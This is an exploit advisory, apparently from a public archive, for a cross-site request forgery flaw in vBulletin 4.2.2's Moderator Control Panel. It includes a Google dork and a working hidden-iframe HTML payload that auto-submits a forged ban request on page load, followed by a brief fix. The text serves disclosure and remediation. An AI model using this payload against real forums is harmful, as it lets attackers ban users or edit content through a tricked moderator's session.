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vBulletin Moderator Control Panel 4.2.2 CSRF

vBulletin Moderator Control Panel 4.2.2 CSRF
Posted Dec 17, 2014
Authored by Daniel Tomescu

The moderator control panel in vBulletin version 4.2.2 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | c26baa5b37f4fb7f3bdadb4e7989a688

vBulletin Moderator Control Panel 4.2.2 CSRF

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# Exploit Title: vBulletin Moderator Control Panel CSRF
# Google Dork: "Powered by vBulletin® Version 4.2.2"
# Date: 16-12-2014
# Exploit Author: Tomescu Daniel http://daniel-tomescu.com https://rstforums.com/forum
# Vendor Homepage: http://www.vbulletin.com/en/vb4-features/
# Software Link: Premium
# Version: vBulletin 4.2.2
# Tested on: Chrome and Firefox
# Reference: https://rstforums.com/forum/88810-csrf-vbulletin-modcp.rst


### 1. Description

vBulletin Moderator Control Panel suffer from a CSRF vulnerability because the CSRF tokens "adminhash" and "securitytoken" are not verified in POST requests.

vBulletin has one additional protection against CSRF: checking the Referer header to be same origin. However this can be bypassed by making a POST request that does not have a Referer header.

This vulnerability allows an attacker to ban/unban users, to modify user profiles, to edit/approve posts and topics and so on.

### 2. Proof of Concept

The attacker should target a moderator of target-forum.com and the moderator must be logged in Moderator Control Panel. The vulnerability can be exploited by tricking the moderator to visit a webpage that contains the following html code:

<iframe name="ifr" frameborder="0" style="overflow:hidden;height:1%;width:1%" height="1%" width="1%"
src='data:text/html,
<html>
<body>
<iframe style="display:none" name="csrf-frame"></iframe>
<form style="display:none" method="POST" action="https://target-forum.com/path-to/modcp/banning.php?do=dobanuser" target="csrf-frame" id="csrf-form">
<input type="hidden" name="do" value="dobanuser" >
<input type="hidden" name="adminhash" value="" >
<input type="hidden" name="securitytoken" value="" >
<input type="hidden" name="username" value="UserToBeBanned" >
<input type="hidden" name="usergroupid" value="8" >
<input type="hidden" name="period" value="D_7" >
<input type="hidden" name="reason" value="Banned with CSRF" >
<input type="submit" value="submit">
</form>
<script> window.onload = function(){ document.getElementById("csrf-form").submit(); } </script>
</body>
</html>'>
</iframe>

As a result, the user with the username "UserToBeBanned" will be added to the banned users list.

### 3. Solution:

Do not allow POST requests without a Referer header.
Verify "adminhash" and "securitytoken" to be valid.

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